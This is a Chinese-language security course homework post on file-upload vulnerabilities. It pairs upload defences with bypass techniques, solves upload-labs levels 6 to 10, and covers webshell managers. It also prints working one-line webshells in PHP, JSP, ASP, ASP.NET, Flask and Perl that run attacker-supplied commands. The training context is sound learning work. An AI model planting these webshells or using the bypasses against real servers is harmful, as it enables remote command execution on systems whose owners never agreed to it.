第七次作业

1. 文件上传防御手段及绕过手段总结

1)JavaScript 前端校验

防御手段:在前端通过 JavaScript 对文件类型、大小、扩展名等进行校验。

绕过方法:禁用 JavaScript,或使修改 JavaScript 代码。直接构造请求。不使用浏览器,但是不常用。

2)校验文件上传类型

防御手段:在服务端检查上传文件的扩展名是否在允许的范围内。

绕过方法:更改文件扩展名(例如,将 1.php 改为 1.php.jpg 或其他允许的类型)。

3)校验文件内容

防御手段:通过读取文件内容,验证文件头以确保其与声明的文件类型一致。

绕过方法:修改文件头(在木马文件的开头添加图片的文件头,然后再加入木马)。或者将木马写入图片末尾。构造双重扩展文件名,如 shell.jpg.php,部分服务器可能只校验第一段扩展名。

4)校验文件大小

防御手段:限制上传文件的大小,防止上传超大文件导致拒绝服务(DoS)攻击或服务器内存炸了。

绕过方法:上传一个小巧的 Webshell 文件(例如,只有几 KB 的 PHP Webshell)。尝试分块上传,如果服务器允许多部分文件上传合并。

5)校验文件路径

防御手段:限制文件的上传路径,防止文件上传到可执行目录(如 /var/www/html)中。

绕过方法:如果存在目录穿越漏洞,可以使用 ../ 绕过路径校验,将文件上传到敏感路径下。查找配置错误的路径或软链接指向可以访问的目录。

6)校验请求头 Content-Type 字段

防御手段:检查上传请求中的 Content-Type 字段是否与实际文件内容匹配。绕过方法:使用工具(如 Burp Suite)修改请求头 Content-Type 为合法值,同时保持恶意文件内容不变。图片马

7)文件上传后存储到存储桶(如 Amazon S3、Azure Blob Storage)

防御手段:将文件上传到存储桶等不执行代码的存储区域。

绕过方法:利用服务器的其他漏洞(如 SSRF)访问并执行文件。使用钓鱼攻击诱导管理员下载并运行恶意文件。

8)文件上传后重写文件名

防御手段:服务器自动重命名上传文件,防止上传文件被直接访问或利用。

绕过方法:尝试通过其他漏洞(如信息泄露)获取重命名后的文件名。

9)设置可执行目录白名单

防御手段:只允许指定目录(白名单)中的文件具有可执行权限,其他目录中的文件为不可执行状态。

绕过方法:寻找目标服务器的配置错误(如误配置的目录)允许执行上传的恶意文件。


2. 文件上传常用一句话木马

1)php

<?php @eval($_POST['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php @eval(base64_decode($_POST['cmd'])); ?>

2)jsp

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

3) asp

<% eval request("cmd") %>

4)sap.net

<% @System.Diagnostics.Process.Start(Request["cmd"]) %>

5)python Flask

exec(request.args.get('cmd'))

6)perl

print `$_GET{'cmd'}`;

3. 课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)

1)蚁剑

(1)创建木马

(2)创建链接

(3)配置代理

2)冰蝎

(1)配置代理

(2)创建连接

(3)抓包

3)哥斯拉

(1)生成木马

(2)创建连接

(3)抓包分析


4. 文件上传无回显如何查找webshell地址

1)代码审计

对网站的源代码进行审计,检查是否存在未经验证的用户输入、不安全的文件处理逻辑等漏洞。通过代码审计,可以发现潜在的Webshell上传点,并了解攻击者可能利用的路径。

2)检查网站目录结构

如果上传的Webshell文件位于网站的某个特定目录下(如uploads、images等),可以尝试直接访问这些目录以查找可疑文件。使用文件管理器或命令行工具遍历网站的目录结构,查找具有不寻常文件名或文件权限的文件

3)分析服务器日志

查看Web服务器的访问日志和错误日志,寻找与文件上传相关的异常条目或请求。这些日志可能包含有关上传文件路径的线索。特别是,如果试图通过Webshell执行命令或访问敏感资源,这些行为可能会在日志中留下痕迹

4)Webshell扫描工具

使用专业的Webshell扫描工具(D盾_Web查杀、Web Shell Detector等)对网站进行全面扫描,这些工具可以检测并定位到潜在的Webshell文件。注意,扫描工具可能会误报,因此需要对扫描结果进行进一步验证。

5)文件系统检查搜索新文件

使用系统命令或文件搜索工具(如find、grep在Linux上,或dir、findstr在Windows上)来搜索最近创建或修改的文件,特别是那些位于Web根目录或可写目录下的文件。

5. 文件上传表单的无参/有参情况下构造表单 -- 加分项

1)无参情况

(1)表单的method属性必须设置为POST方法,不能使用GET方法。

(2)表单的enctype属性需要设置为multipart/form-data

(3)表单的action属性需要设置为提交到后台处理文件上传的地址,例如uploadFile.jsp程序文件用来处理上传的文件。上传文件元素使用<input .../>标签,属性设置为type="file"。如果需要上传多个文件,可以在<input .../>标签中设置不同的名称。

2)有参情况

(1)在有参情况下,表单除了包含文件上传元素外,还可能包含其他表单元素,如文本框、密码框、复选框等。

(2)表单的构造除了上述无参情况下的要求外,还需要为其他表单元素设置相应的属性和值。

(3)有参表单在提交时,除了文件数据外,还会包含其他表单字段的数据,这些数据可以用于服务器端的处理和验证。

6. upload-labs靶场通关第6-第10关

第六关:

1)发现未禁止php文件

2)将木马php文件的后缀名改为全大写后上传

(3)使用蚁剑连接

第七关:

(1)分析源码

(2)发现将空格加到后缀即可

第八关:

(1)与之前类似,缺少去除, 的函数

(2)抓包后修改后缀即可

第九关:

(1)分析代码发现:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

(2)于是改,后缀为:.php. .

第十关:

(1)分析代码

(2)发现str_ireplace函数仅仅对文件名称进行了替换,替换之后的后缀没有进行黑名单验证,这里我们就可以使用双写文件后缀进行文件上传,例如filename="test.pphphp"

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值